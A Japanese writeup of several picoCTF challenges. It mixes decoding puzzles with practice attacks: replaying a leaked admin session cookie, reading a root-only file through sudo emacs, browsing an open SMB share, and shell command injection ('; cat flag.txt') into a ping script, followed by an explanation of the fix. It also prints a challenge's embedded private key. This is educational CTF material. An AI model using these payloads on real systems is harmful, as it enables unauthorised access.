picoCTF Challenge Library のwriteup。
長らく中断していたが、心機一転、再開。
解けた問題から順次WriteUpを追加していく予定。
Easy
Undo
文字列をこねくり回してフラグを復号する問題。
base64 -d + rev + sed s/-/_/g + sed s/\(/\{/g + sed s/\)/\}/g + ROT13 でフラグを復号できた。
└─$ echo -n KTJxNW85NjQ1LWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj | base64 -d
)2q5o9645-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc
└─$ echo -n ")2q5o9645-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc" | rev
cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-5469o5q2)
└─$ echo -n "cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-5469o5q2)" | sed s/-/_/g
cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2)
└─$ echo -n "cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2)" | sed s/\(/\{/g | sed s/\)/\}/g
cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2}
└─$ echo -n "cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2}" | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm'
picoCTF{Revers1ng_t3xt_Tr4nsf0rm@t10ns_<REDACTED>}
Old Sessions
セッション管理の不備を突いて、管理者としてWebサイトにアクセスしてフラグを取得する問題。
Webサイト (http://dolphin-cove.picoctf.net:50257/) にアクセスして、Registerからユーザー登録を行い、ログインすると以下のページが現れた。

コメント欄よりAdminのコメントが確認できる。またmary_jones_8992が/sessionsという妙なページを見つけたとコメントしているので、アクセスしてみると以下のページが現れた。

Adminのセッション情報を発見。
このWebサイトはセッションの有効期限を異常に長く設定しているため、他のユーザーのセッションの値が分かれば認証無しで、そのユーザーとしてサイトにアクセス出来てしまう。
以下はユーザー登録の際にサーバーから付与されたクッキーの情報である。セッションが2057年12月11日まで有効であることが伺える。
Set-Cookie: session=EQtRyX7_Oi99413gJbjuy29a86ZBHLUQU6AHmbU3t6o; Expires=Tue, 11 Dec 2057 15:50:07 GMT; HttpOnly; Path=/
Adminのセッション情報をクッキーに乗せてWebサイトにリクエストを送ったところ、Adminとしてサイトにアクセスできて、フラグを取得できた。
└─$ curl -i http://dolphin-cove.picoctf.net:50257 -H "Cookie: session=OUCUc_6sa9PQ4abx_PSx2Plt8ZBu6V-igX7B9MDATwQ" | grep -i pico
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2083 100 2083 0 0 4309 0 --:--:-- --:--:-- --:--:-- 4321
<p class="flag-message">picoCTF{s3t_s3ss10n_3xp1rat10n5_<REDACTED>}</p>
SUDO MAKE ME A SANDWICH
sudo権限を悪用して本来は読み取り権のないファイルからフラグを読み出す問題。
サーバーにはflag.txtというファイルがあるが、rootユーザーのみ読み取り可能。
ctf-player@challenge:~$ ls -lha
total 16K
drwxr-xr-x 1 ctf-player ctf-player 20 Apr 4 14:16 .
drwxr-xr-x 1 root root 24 Mar 9 21:32 ..
-rw-r--r-- 1 ctf-player ctf-player 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25 2020 .bashrc
drwx------ 2 ctf-player ctf-player 34 Apr 4 14:16 .cache
-rw-r--r-- 1 ctf-player ctf-player 807 Feb 25 2020 .profile
-r--r----- 1 root root 31 Mar 9 21:32 flag.txt
ctf-player@challenge:~$ cat flag.txt
cat: flag.txt: Permission denied
catをsudoつきで実行しようとしたが権限がないため失敗。
ctf-player@challenge:~$ sudo cat flag.txt
[sudo] password for ctf-player:
Sorry, user ctf-player is not allowed to execute '/usr/bin/cat flag.txt' as root on challenge.
sudo -lでカレントユーザーがsudoつきで実行できるコマンドを確認。
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctf-player may run the following commands on challenge:
(ALL) NOPASSWD: /bin/emacs
emacsをsudoつきで実行できる模様。
sudo emacs flag.txtでファイルを読み出せた。
picoCTF{ju57_5ud0_17_<REDACTED>}
Binary Digits
エンコードされたファイルをデコードしてフラグを取得する問題。
以下は渡されたファイルの中身。
└─$ cat digits.bin
11111111110110001111111111100000000000000001000001001010010001100100100101000110000000000000000100000001000000000000000000000001000000000000000100000000000000001111111111011011000000000100001100000000000010000000011000000110000001110000011000000101000010000000011100000111000001110 ---<snipped>---
大量の2進数で埋め尽くされていた。
CyberChefで2進数デコードしたところ、フラグが記載されたJPEGの画像ファイルが現れた。

Printer Shares
サーバーの共有フォルダからフラグを取得する問題。
標的サーバーの52028番ポートにてプリンターサービスが実行されているとのことだったので、smbclientでスキャンしたところ、sharesという名前の共有フォルダを発見。
└─$ smbclient -L $RHOST -p 52028
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
shares Disk Public Share With Guests
IPC$ IPC IPC Service (Samba 4.19.5-Ubuntu)
そのまま共有フォルダsharesにアクセスしてflag.txtをダウンロードし、フラグを取得。
└─$ smbclient //$RHOST/shares -p 52028
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
mkfifo more mput newer notify
open posix posix_encrypt posix_open posix_mkdir
posix_rmdir posix_unlink posix_whoami print prompt
put pwd q queue quit
readlink rd recurse reget rename
reput rm rmdir showacls setea
setmode scopy stat symlink tar
tarmode timeout translate unlock volume
vuid wdel logon listconnect showconnect
tcon tdis tid utimes logoff
.. !
smb: \> ls
. D 0 Fri Mar 6 15:25:45 2026
.. D 0 Fri Mar 6 15:25:45 2026
dummy.txt N 1142 Wed Feb 4 16:22:17 2026
flag.txt N 37 Fri Mar 6 15:25:45 2026
65536 blocks of size 1024. 60000 blocks available
smb: \> get flag.txt
getting file \flag.txt of size 37 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit
└─$ cat flag.txt
picoCTF{5mb_pr1nter_5h4re5_<REDACTED>}
Piece by Piece
分割されたZIPファイルからフラグを取得する問題。
サーバーに接続すると、part_a* という複数のファイルを発見。
ctf-player@pico-chall$ ls -lh
total 24K
-rw-r--r-- 1 ctf-player ctf-player 282 Feb 4 21:22 instructions.txt
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_aa
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ab
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ac
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ad
-rw-r--r-- 1 ctf-player ctf-player 35 Feb 4 22:40 part_ae
これらのファイルは分割されたZIPファイルで、フラグを取得するにはこれらのファイルを一つのZIPファイルに統合して、解凍する必要がある。
以下のコマンドでファイルを一つのZIPファイルに統合した。
cat part_a* > combined.zip
ctf-player@pico-chall$ ls -lh
total 28K
-rw-rw-r-- 1 ctf-player ctf-player 239 Apr 5 13:29 combined.zip
-rw-r--r-- 1 ctf-player ctf-player 282 Feb 4 21:22 instructions.txt
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_aa
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ab
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ac
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ad
-rw-r--r-- 1 ctf-player ctf-player 35 Feb 4 22:40 part_ae
ctf-player@pico-chall$ file combined.zip
combined.zip: Zip archive data, at least v1.0 to extract
統合したZIPファイルの中にflag.txtというファイルを発見。
ctf-player@pico-chall$ unzip -Z combined.zip
Archive: combined.zip
Zip file size: 239 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 45 TX stor 26-Feb-04 22:40 flag.txt
ファイルを解凍してフラグを取得できた。(解凍のためのパスワードはinstructions.txtに記載されていた)
ctf-player@pico-chall$ unzip combined.zip
Archive: combined.zip
[combined.zip] flag.txt password:
extracting: flag.txt
ctf-player@pico-chall$ cat flag.txt
picoCTF{z1p_and_spl1t_f1l3s_4r3_fun_<REDACTED>}
bytemancy 0
ソースコードを解析してフラグを取得する問題。
以下は渡されたapp.pyというファイルの内容。
while(True):
try:
print('⊹──────[ BYTEMANCY-0 ]──────⊹')
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print()
print('Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.')
print()
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print('⊹─────────────⟡─────────────⊹')
user_input = input('==> ')
if user_input == "\x65\x65\x65":
print(open("./flag.txt", "r").read())
break
else:
print("That wasn't it. I got: " + str(user_input))
print()
print()
print()
except Exception as e:
print(e)
break
サーバーに接続してeeeと入力するとflag.txtからフラグが読み出される。(chr(101)もしくは0x65はeにデコードされる)
└─$ nc candy-mountain.picoctf.net 49611
⊹──────[ BYTEMANCY-0 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> eee
picoCTF{pr1n74813_ch4r5_<REDACTED>}
bytemancy 1
ソースコードを解析してフラグを取得する問題。
以下は渡されたapp.pyというファイルの内容。
while(True):
try:
print('⊹──────[ BYTEMANCY-1 ]──────⊹')
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print()
print('Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.')
print()
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print('⊹─────────────⟡─────────────⊹')
user_input = input('==> ')
if user_input == "\x65"*1751:
print(open("./flag.txt", "r").read())
break
else:
print("That wasn't it. I got: " + str(user_input))
print()
print()
print()
except Exception as e:
print(e)
break
eを1751文字分入力するとflag.txtからフラグが読み出される。
手動で入力するのは大変なので、Pythonのターミナルを起動して、以下のコマンドでeを1751文字分 生成してコピペした。
>>> chr(101)*1751
'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'
└─$ nc foggy-cliff.picoctf.net 62726
⊹──────[ BYTEMANCY-1 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
picoCTF{h0w_m4ny_e's???_<REDACTED>}
MultiCode
以下のエンコードされたフラグを復号する問題。
└─$ cat message.txt
NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjMwNzAzMjMxMzkzMjcxMzcyNTM3NDQ=
Base64デコード + Hexデコード + URLデコード + ROT13でフラグを復号できた。
└─$ echo -n NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjMwNzAzMjMxMzkzMjcxMzcyNTM3NDQ= | base64 -d | xxd -r -p
cvpbPGS%7Barfgrq_rap0qvat_0p2192q7%7D

ping-cmd
コマンドインジェクションの脆弱性を突いてフラグを取得する問題。
標的サーバー上ではユーザーが入力したIPアドレスに対してpingを送るプログラムが起動していた。
└─$ nc mysterious-sea.picoctf.net 65295
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=10.6 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=10.8 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 10.580/10.694/10.808/0.114 ms
色々と入力値をいじっているうち、コマンドインジェクションの脆弱性があることが分かった。以下はプログラムに対して-c 20 8.8.8.8と入力した際の様子。
└─$ nc mysterious-sea.picoctf.net 63577
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): -c 20 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=111 time=9.53 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=111 time=9.47 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=111 time=9.61 ms
64 bytes from 8.8.8.8: icmp_seq=6 ttl=111 time=9.49 ms
64 bytes from 8.8.8.8: icmp_seq=7 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=8 ttl=111 time=9.52 ms
64 bytes from 8.8.8.8: icmp_seq=9 ttl=111 time=9.53 ms
64 bytes from 8.8.8.8: icmp_seq=10 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=11 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=12 ttl=111 time=9.58 ms
64 bytes from 8.8.8.8: icmp_seq=13 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=14 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=15 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=16 ttl=111 time=9.52 ms
64 bytes from 8.8.8.8: icmp_seq=17 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=18 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=19 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=20 ttl=111 time=9.50 ms
pingの-cオプションは任意の数のICMPパケットを指定するためのオプションである。-c 20が評価されて、20個のICMPパケットが送られていることが確認できた。
さらに入力値をいじったところ、先頭に; (セミコロン)をつけることで任意のOSコマンドを実行できることが分かった。以下はプログラムに対して;lsと入力した際の様子。
└─$ nc mysterious-sea.picoctf.net 50910
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;ls
flag.txt
script.sh
lsコマンドが評価され、flag.txtとscript.shというファイルの存在を確認できた。
プログラムに;cat flag.txtと入力することでフラグを読み出せた。
└─$ nc mysterious-sea.picoctf.net 50910
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;cat flag.txt
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_<REDACTED>}
ちなみに以下はscript.shの中身。
└─$ nc mysterious-sea.picoctf.net 63214
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;cat script.sh
#!/bin/bash
echo -n "Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): "
read domain
bash -c "ping -c2 $domain"
readコマンドで受け取った値をpingコマンドに渡すシンプルなスクリプトだが、bash -cを介してpingコマンドを実行するため、$domainに格納された値がOSコマンドとして評価されてしまう。
bash -c "ping -c2 $domain"ではなく、ping -c2 $domainと記述すれば、インジェクションは起きない。
StegoRSA
画像ファイルからRSAの秘密鍵を探し出して、フラグを復号する問題。
flag.encとimage.jpgという2つのファイルを渡された。
flag.encは暗号化されたファイルで、image.jpgはJPEGの画像ファイルだった。
└─$ file flag.enc
flag.enc: data
└─$ xxd flag.enc
00000000: a363 dd93 ee17 7e99 6776 e900 ab16 edcf .c....~.gv......
00000010: 39d3 b681 ed5d 80da 8243 edf0 d1b4 2302 9....]...C....#.
00000020: 00eb 3e61 bce4 c2f6 0bd5 3a34 5d9c 14cd ..>a......:4]...
00000030: 7e8e f812 6024 239f d22f fa3f 9fed 29da ~...`$#../.?..).
00000040: 71f0 c146 fd37 6676 07a7 4557 c96c fde7 q..F.7fv..EW.l..
00000050: ea50 d893 3a8b 2e25 1061 3063 efe5 b415 .P..:..%.a0c....
00000060: ccc0 f0ce fc7a 64df 31ab ac71 7887 ef15 .....zd.1..qx...
00000070: dff4 b22e ffb4 0c0a cbbc 069b b8c2 c725 ...............%
00000080: 515f 41ca ad6f adc7 1446 b92b 8d6c eefc Q_A..o...F.+.l..
00000090: 2482 e2c6 6dd6 c986 47ad ce3e f5ab bc04 $...m...G..>....
000000a0: 90cb 4879 1271 856d 87dd 7110 ba8d 9e45 ..Hy.q.m..q....E
000000b0: 0460 6d82 1e2e 737b 8b01 7959 cebf 562c .`m...s{..yY..V,
000000c0: 503c 47a2 3037 55de 5ddb ed5c b895 0bfb P<G.07U.]..\....
000000d0: 50b9 7ae1 6ca8 dac3 92f7 f419 e201 9e2d P.z.l..........-
000000e0: 6efd b190 444c da8b db0c f10b 23a5 d318 n...DL......#...
000000f0: 7c08 cfa0 0349 e65e 77a8 4dbf 40b0 0984 |....I.^w.M.@...
└─$ file image.jpg
image.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63", baseline, precision 8, 512x512, components 3
image.jpgをexiftoolで調べたところ、コメント欄に膨大なHexエンコードされたデータを発見。
└─$ exiftool image.jpg
ExifTool Version Number : 12.76
File Name : image.jpg
Directory : .
File Size : 21 kB
File Modification Date/Time : 2026:04:09 09:48:50-04:00
File Access Date/Time : 2026:04:09 09:49:13-04:00
File Inode Change Date/Time : 2026:04:09 09:48:53-04:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : 2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f494241514374566636434477465972456e480a6b34522f384e4d47305362386d366d5655793479314c4158386e62596c4a49366c6c52703067766931775262736f44646d5a34386f434642643236726c6330310a4558413378724e2f46773467634954797874714e736771327232783264414f755a57364d784931393438694c4445345641522b48325538694a695171357a33590a3531746a61532b4a6c572f7276752f573372644462726b5358676a752f776d6d4d4e6d4952367a376b7a6e356c2f747771336d584a786b4f5a5a4c7a733742740a687a72446c482f4a67556857723067786652327764767751667436514a383269586164717a483443355a4556564f333530614a557461375150616f34522b31310a5a576a746c6e356d737351554541614d36446a5962454d363655793369706c455379324e737830516e6b2b4c6d6f674551635268585371303048674f65424d4f0a5a3056485a504c4841674d4241414543676745414347336449592f2f50634f724674523670676f64435144557834582b57692b6757494a3153635456754c53490a342b5a356c6d664c676931346e636a786356564f4635366c3331776965702b6653677865433668544245516e774c595945514a516b4946752b664650386661300a55782f466e337a54634b4c4b4674447a587877643332705736633833425173587539754d57796f37554a4a2b7a64554d4c735048333753627457507a525550330a43426854527245376670654b75437074435655697136316c58666d4e58346b427759634179433477734132376b576c6e747a644c456e70786e566141664f74310a6a762f78786366327839556130793033342f57694c4a30394a566951446d6d36794442734a67674f6c4b4b562f4430614c656c764f70484d746b3178584f33660a724c574a693534577252424a4a4d426b305233584945575361475363785156504476455065484e3651514b42675143314554733066346a785058444d723970670a694e7338716b3755714d784b4543554b6d5a356f73336e6534455530364d69662b6c4e524e4e5a6d4e784f6e46544b4638363042794c5650305051565a3758660a4937712f6f7263324f6c46515330503937326a30574a527a4732504353552b644b48777768674b6c5a386b31684138564f493457573664626f34695a65684a700a55335a717430674f766633395238373547637276634e754e35774b426751443145613137562b66732f7a496c56744a35524b676e70317476766b6b58556735440a54675a624662716d4d576f4e6a6372764c4938365471373030414c6a42674861556b59376e397a52673834574e42574972564a6c687566724b6847436b7170620a4b737969564f51644569376f4c706358497846416f56373970564f7633783775626e4653693146662b6d48446575427535555a6b42486c4e535936437257364a0a676a64706a71595949514b426746684d787571624a3155392b547859706335643730787559584d6a766a79414578425153676756506d474b545457344c3936550a5850314648796c4a7772504169707234636d356b5373645a7879364a4852427368433367564369463242476f49736737634a74346479794c4e754d516a56712b0a32354675534f7751365062494a2f4c5a576246646b516748674234596764494c656277684657726244486e7741756448784d647636694952416f47414c636b440a744575554650384969316c524d543757653749557279664a324157496a4b4b444a586c46796337706c5761735230723335316a543777443979525253504575710a7533442b66465933706f5a4d6a36427943473350336d755a6f64397333474e2b6e38566b614e6f4130586743326c752b3257684d71753638563974446d4341690a4939334c636a6342464e68634864765037746533496531674a71486f534f422f49635634326f4543675945416a3744674f744c734e65444a4f5a6856774730480a677a5067634332655932513575675735764f62747245584a7245796f313838453174457544654c6e4f4a5a556273444b6447635254526a4541617a66436866450a5847307844473954537639737133687a394976455348345470386363666f4b382b756c71544343767a3567366c39304232714f7046372f364a3844754d4e786e0a4e2f4f77424e6f4e507a4d6c6132434a6d6243736247633d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a
Image Width : 512
Image Height : 512
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 512x512
Megapixels : 0.262
Hexデータをデコードしたところ、RSAの秘密鍵が現れた。
└─$ echo -n 2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f494241514374566636434477465972456e480a6b34522f384e4d47305362386d366d5655793479314c4158386e62596c4a49366c6c52703067766931775262736f44646d5a34386f434642643236726c6330310a4558413378724e2f46773467634954797874714e736771327232783264414f755a57364d784931393438694c4445345641522b48325538694a695171357a33590a3531746a61532b4a6c572f7276752f573372644462726b5358676a752f776d6d4d4e6d4952367a376b7a6e356c2f747771336d584a786b4f5a5a4c7a733742740a687a72446c482f4a67556857723067786652327764767751667436514a383269586164717a483443355a4556564f333530614a557461375150616f34522b31310a5a576a746c6e356d737351554541614d36446a5962454d363655793369706c455379324e73783051